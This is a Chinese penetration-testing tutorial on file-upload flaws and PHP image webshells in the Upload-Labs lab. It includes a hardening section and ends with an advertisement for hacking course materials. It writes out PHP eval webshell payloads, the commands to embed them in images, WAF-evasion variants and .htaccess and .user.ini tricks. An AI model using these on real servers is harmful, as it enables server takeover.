ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

文件上传漏洞与图片马的免杀实战

文件上传漏洞与图片马的免杀实战 文件上传漏洞与图片马的免杀实战前言文件上传漏洞属于 Web 安全中危害最高的漏洞之一一旦上传成功 WebShell攻击者可直接接管服务器。在很多场景中网站限制仅允许上传图片文件直接上传.php一句话会被拦截图片马就成了渗透测试里最常用的手段。图片马本质是将 PHP 恶意代码嵌入图片文件保留合法图片文件头绕过后端图片校验。但现在 WAF、getimagesize()图片检测、图片二次渲染功能很容易把简单图片马直接拦截或者清除恶意代码。本文结合 Upload-Labs 靶场实战讲解图片马制作原理、多种免杀制作方式、各类上传校验绕过以及二次渲染这种难点场景的处理方法同时梳理完整利用链路与防御加固方案。免责声明本文所有技术仅用于已获得书面授权的安全测试与网络安全学习。严禁在未授权网站、服务器上传木马文件未经授权的渗透、文件上传、代码执行行为违反网络安全相关法律法规。0x01 文件上传漏洞基础与图片马原理1.1 文件上传漏洞产生条件业务提供文件上传功能头像上传、附件上传、图片素材上传后端校验逻辑存在缺陷可上传带有恶意脚本的文件上传目录具备脚本解析权限或者存在文件包含漏洞。重点图片马直接用浏览器访问图片地址不会执行 PHP 代码。图片后缀是 jpg/gifWeb 服务器默认只会当作图片渲染。图片马想要执行代码必须配合文件包含漏洞使用include函数加载这个图片文件里面的 PHP 代码才会被解析执行。1.2 图片文件头标识Magic Number后端很多代码仅校验文件前几个字节判断文件类型也就是文件魔数这是图片马免杀的基础GIFGIF89a十六进制47 49 46 38 39 61JPG/JPEGFF D8 FFPNG89 50 4E 47 0D 0A 1A 0A只要文件头部写入对应图片魔数getimagesize()、简单文件头检测就会判定它是合法图片。0x02 基础图片马三种制作方法方法 1CMD 命令合并Windows准备一张正常图片test.jpg一句话木马shell.phpcmd 执行命令把两个文件合并输出为图片马copy test.jpg /b shell.php /b shell.jpg/b代表二进制模式合并不会破坏图片本身结构。打开图片肉眼看仍然是正常图片用记事本打开末尾可以看到 PHP 一句话。方法 2Linux 命令合并cat test.gif shell.php shell.gif在图片末尾追加 PHP 代码GIF 图片兼容性最好也是靶场最常用的格式。方法 3手动编写直接添加 GIF 文件头记事本新建文件首行写入GIF89a换行写入一句话木马保存修改后缀为shell.gif。GIF89a ?php eval($_POST[pass]);?这种最简单适合快速测试文件头校验场景。短标签绕过当?php被过滤时PHP 支持短标签?可以替换 payloadGIF89a ?eval($_GET[cmd]);?0x03 各类上传校验绕过实战网站对上传文件的校验分为前端校验、MIME 校验、文件头校验、后缀黑白名单不同校验对应不同绕过手段。3.1 前端 JS 校验绕过前端 JS 仅在浏览器做后缀判断数据包还没有发送服务器前端校验完全不可信。校验代码示例function checkFile(){ var ext file.value.substring(file.lastIndexOf(.)); if(ext!.jpg ext!.gif){alert(仅图片);return false;} }绕过方式禁用浏览器 JavaScript直接选择 php 文件上传Burp 抓包先上传 jpg 图片抓到数据包后修改文件内容为图片马F12 修改前端 JS 校验代码直接添加 php 后缀到白名单。3.2 MIMEContent-Type校验绕过后端读取请求头Content-Type判断文件类型这个请求头由客户端可控可以抓包直接修改。正常 PHP 文件上传数据包Content-Type: application/x-php修改为图片类型即可绕过 MIME 校验Content-Type: image/gif注意仅修改 Content-Type 不够文件内容必须加上图片文件头否则遇到getimagesize()会检测失败。3.3 getimagesize () 图片内容校验绕过getimagesize()读取文件二进制内容解析图片元数据。绕过核心文件最开头写入 GIF89a 或者 JPG/PNG 魔数只要头部是合法图片标识该函数就会返回图片信息不会拦截图片马。缺点如果服务器开启图片二次渲染追加在文件末尾的 PHP 代码会被直接删除。3.4 黑名单后缀绕过后端黑名单禁止.php但是存在很多 PHP 可解析的后缀.phtml、.php3、.php4、.php5、.pht。如果 Apache 中间件没有严格配置上传shell.phtml仍然会被当作 PHP 解析。另外大小写绕过Shell.PHP部分代码没有统一转小写过滤直接放行。0x04 高级免杀图片二次渲染绕过难点很多业务上传图片后会使用 GD 库、ImageMagick 对图片压缩、裁剪、重新生成图片这个过程叫做二次渲染。简单在图片末尾追加 PHP 代码的图片马上传后服务器重新生成图片末尾的恶意代码会直接被清除下载回来的图片里面没有一句话图片马失效。二次渲染的绕过思路先上传一张干净原图上传成功后把服务器处理后的图片下载到本地使用 010 Editor、WinHex 对比上传前原图和下载后的渲染图片找到渲染前后不会被修改的字节区域在不会被清除的区域GIF 注释块、PNG 的 PLTE 块嵌入 PHP 代码重新构造图片马再次上传二次渲染后恶意代码依然保留再配合文件包含执行。GIF 图片对二次渲染兼容性最好JPG/PNG 难度更高。PNG 需要修改 Chunk 块并重新计算 CRC 校验值适合高阶靶场。附加方案EXIF 元数据注入图片马把 PHP 一句话写入图片 EXIF 注释信息使用 exiftool 工具写入注释exiftool -Comment?php eval($_POST[pass]);? test.jpg恶意代码存放在图片元数据部分二次渲染不会清理 EXIF 字段。缺点很多新版图像处理库会直接清空 EXIF 信息成功率不如 GIF。0x05 特殊上传漏洞利用非图片马配套学习5.1 .htaccess 解析漏洞Apache如果允许上传.htaccess上传配置文件将 jpg 文件强制解析为 PHP。htaccess 内容AddType application/x-httpd-php .jpg上传之后访问任何 jpg 图片Apache 都会当作 PHP 脚本解析不需要文件包含。5.2 .user.ini 配置文件PHP 环境.user.ini是 PHP 目录级配置文件在同目录上传.user.iniauto_prepend_fileshell.jpg配置生效后当前目录所有 php 文件执行前自动加载shell.jpg图片马自动执行不需要手动文件包含调用。5.3 条件竞争漏洞代码逻辑先把文件保存到服务器再校验后缀不合法就删除。上传和删除存在时间差。Burp Intruder 并发大量上传请求同时循环访问上传文件。在服务器删除文件之前访问触发代码执行写入新的永久 WebShell。0x06 WAF 对图片马的拦截与免杀思路WAF 会扫描文件内容中的?php、eval等特征简单一句话很容易直接被拦截。几种免杀变形思路靶场练习使用PHP 短标签?替代?php字符串拆分、变量拼接绕过关键字匹配?php $a ev; $b al; $c $a.$b; $c($_POST[pass]); ?编码变形base64 编码一句话使用base64_decode执行代码放入 GIF 注释区域WAF 静态扫描不容易命中特征。注意这类变形仅用来绕过 WAF 静态字符串匹配不能突破后端安全代码审计。0x07 完整漏洞利用链路总结寻找上传点判断校验类型前端 / MIME / 文件头 / 二次渲染制作对应免杀图片马添加图片魔数Burp 抓包上传图片马拿到上传图片访问地址寻找文件包含漏洞接口使用?pageupload/shell.gif包含图片成功执行 PHP 代码使用蚁剑 / 冰蝎连接 WebShell提权、内网渗透、服务器信息收集。关键点回顾没有文件包含漏洞的情况下单纯上传图片马无法执行代码图片只是普通图片。0x08 高频踩坑总结❌坑 1图片马上传成功直接浏览器访问图片认为可以执行木马jpg/gif 图片直接访问只会渲染图片必须通过文件包含 include 加载才会解析 PHP 代码。❌坑 2制作图片马上传之后下载回来发现一句话消失服务器开启图片二次渲染GD 库重新生成图片末尾追加代码被清除需要采用 EXIF 或者 GIF 块注入。❌坑 3只修改数据包 Content-Type不添加图片文件头遇到getimagesize()校验直接拦截MIME 头只是第一层防护。❌坑 4上传目录没有 PHP 解析权限就算上传 php 文件也无法执行就算上传成功如果上传目录禁止脚本解析拿到 WebShell 地址也无法执行。❌坑 5图片马万能所有上传场景都能用如果后端严格白名单 图片二次渲染 上传目录禁止脚本解析图片马完全失效。0x09 企业安全加固防御方案上传目录禁止脚本解析最重要防护手段nginx/apache 配置上传文件夹不解析 php、phtml 等脚本就算恶意文件上传成功也无法执行。使用白名单校验后缀仅允许 jpg、png、gif禁止 phtml、php3、htaccess、user.ini黑名单防护极易被绕过。后端使用getimagesize 文件魔数双重校验不能仅依靠前端、MIME 头校验开启图片二次渲染图片上传后重新生成图片清除图片末尾、EXIF 中的恶意代码上传文件重命名使用随机字符串重命名防止攻击者预测文件路径限制上传文件大小限制请求频率增加上传接口 WAF 规则禁止上传目录存在文件包含漏洞从根源阻断图片马执行链路定期扫描上传目录查杀 WebShell、图片马。总结图片马是文件上传漏洞中非常经典的利用方式核心原理就是伪造合法图片文件头将恶意 PHP 代码嵌入图片文件。简单图片马容易被 WAF、图片二次渲染清除免杀的核心思路分为两点一是绕过文件类型校验二是让恶意代码在图片重新渲染之后仍然保留。同时一定要记住图片马只是攻击载体想要执行恶意代码往往依赖文件包含漏洞如果上传目录关闭脚本解析就算成功上传图片马攻击者也无法执行代码。防御层面白名单 上传目录禁止脚本解析 图片二次渲染三层组合防护才可以有效防御图片马攻击。一句话记住图片马只是载体文件包含才是执行钥匙上传目录关闭脚本解析图片马再怎么免杀都无法执行。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表